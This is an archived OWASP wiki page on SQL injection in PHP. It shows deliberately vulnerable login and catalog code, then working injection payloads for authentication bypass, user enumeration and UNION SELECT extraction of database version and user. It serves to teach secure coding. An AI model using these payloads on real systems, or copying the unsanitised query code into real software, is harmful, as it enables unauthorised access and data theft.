This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
OWASP Backend Security Project PHP Preventing SQL Injection
Examples
To better understand how to secure code a PHP application some examples of vulnerable code is provided in this paragraph.
Login Form
On this example we're going to see a tipical Login Form. On our example WEB SITE user need to supply a username/password pair in order to be authenticated.
Here follows the authentcation form:
Such a login page well call login.php with supplied user credentials.
<?php include('./db.inc'); function sAuthenticateUser($username, $password){ $authenticatedUserName=""; if ($link = iMysqlConnect()) { $query = "SELECT username FROM users"; $query .= " WHERE username = '".$username."'"; $query .= " AND password = md5('".$password."')"; $result = mysql_query($query); if ($result) { if ($row = mysql_fetch_row($result)) { $authenticatedUserName = $row[0]; } } } return $authenticatedUserName; } if ($sUserName = sAuthenticateUser($_POST["username"], $_POST["password"])) { echo "Wellcome ".$sUserName; } else { die('Unauthorized Access'); } ?>
db.inc:
<?php define('DB_HOST', "localhost"); define('DB_USERNAME', "user"); define('DB_PASSWORD', "password"); define('DB_DATABASE', "owasp"); function iMysqlConnect(){ $link = mysql_connect(DB_HOST, DB_USERNAME, DB_PASSWORD); if ($link && mysql_select_db(DB_DATABASE)) return $link; return FALSE; } ?>
Source Code Exposure
As you can see login.php include db.inc to use iMysqlConnect whose aims is to return a resource link to backend MySQL engine. Since .inc files are not rendered by WEB Server through the PHP Module an evil user may retrieve it's content as shown in the following images:
Authentication Bypass
On our examples user credentials are passed to login.php wich in turns call the following PHP function:
function sAuthenticateUser($username, $password){ $authenticatedUserName=""; if ($link = iMysqlConnect()) { $query = "SELECT username FROM users"; $query .= " WHERE username = '".$username."'"; $query .= " AND password = md5('".$password."')"; $result = mysql_query($query); if ($result) { if ($row = mysql_fetch_row($result)) { $authenticatedUserName = $row[0]; } } } return $authenticatedUserName; }
When user larry authenticate the following SQL Query it's executed:
- SELECT username FROM users WHERE username='larry' AND password=md5('larry')
Breaking such an authentication schema is quite simple, since we need to :
- truncate backend authentication query
- injection a boolean expression to override WHERE clausole
- On MySQL # is used as a comment character then whatever follows is discarderd from the engine.
- Since our WHERE clausole is something like expr AND expr we can override it by adding an identity expresssion (E.g.: OR 1=1)
It follows that authentication can be bypassed by supplying the following credentials:
- username: ' OR 1=1#
- password: password
- username: username
- password: ') OR 1=1 #
User Enumeration
We learned on previous section that an evil user can bypass authentication schema by supplying the following credentials:
- username: 'OR 1=1#
- password: password
Let'say again what does sAuthenticateUser performs:
function sAuthenticateUser($username, $password){ $authenticatedUserName=""; if ($link = iMysqlConnect()) { $query = "SELECT username FROM users"; $query .= " WHERE username = '".$username."'"; $query .= " AND password = md5('".$password."')"; $result = mysql_query($query); if ($result) { if ($row = mysql_fetch_row($result)) { $authenticatedUserName = $row[0]; } } } return $authenticatedUserName; }
As you can see $query will contains the following SQL statement:
- SELECT username FROM users WHERE username = OR 1=1#' AND password = md5('password')
wich in turns will be executed in:
$result = mysql_query($query);
By adding a LIMIT operator after the OR clausole we can index every valid user with the following queries:
- SELECT username FROM users WHERE username = OR 1=1 LIMIT 0,1
- SELECT username FROM users WHERE username = OR 1=1 LIMIT 1,1
- SELECT username FROM users WHERE username = OR 1=1 LIMIT 2,1
- .... and so on
We can accomplish the above task by supplying the following username/password pairs:
- username: ' OR 1=1 LIMIT 0,1#
- password: password
- username: ' OR 1=1 LIMIT 1,1#
- password: password
- username: ' OR 1=1 LIMIT 2,1#
- password: password
Online Catalog
Let take another example: an Online Book Store:
catalog.php:
function aGetBookEntry($id) { $aBookEntry = NULL; $link = iMysqlConnect(); $query = "SELECT * FROM books WHERE id = $id"; $result = mysql_query($query); if ($result) { if ($row = mysql_fetch_array($result)) { $aBookEntry = $row; } } return $aBookEntry; } $id = $_GET['id']; $aBookEntry = aGetBookEntry($id); showBook($aBookEntry);
Basicaly it retrieves id parameter on GET query string and perform the following SQL query:
- SELECT * FROM book WHERE id = $_GET['id']
As in Login Form no input validation is performed and SQL Query can be manipulated to returns arbitrary data and DBMS stored relations/records/functions as well.
UNION SELECT Injection
Since our Application is vulnerable to SQL Injection attacks we can injection a UNION SELECT statement to execute arbitrary expression agains remote backend system. Our first attempt will show how to retrieve DBMS Fingerprint.
To this aim we need to set up a UNION SELECT injection wich in turns need to know how many expression are evaluated on original SELECT statement. Let'try:
- id=1 UNION ALL SELECT NULL# differs from original page (id=1)
- id=1 UNION ALL SELECT NULL,NULL# differs from original page (id=1)
- id=1 UNION ALL SELECT NULL,NULL,NULL# differs from original page (id=1)
- id=1 UNION ALL SELECT NULL,NULL,NULL,NULL# differs from original page (id=1)
- id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# equals to original page (id=1)
Well we just guessed that original page (id=1) evaluates 5 expression on SELECT statement.
- Retrieve DBMS banner
- id=1 UNION ALL SELECT NULL,version(),NULL,NULL,NULL LIMIT 1,1#"'
- Retrieve current user
- id=1 UNION ALL SELECT NULL,user(),NULL,NULL,NULL LIMIT 1,1#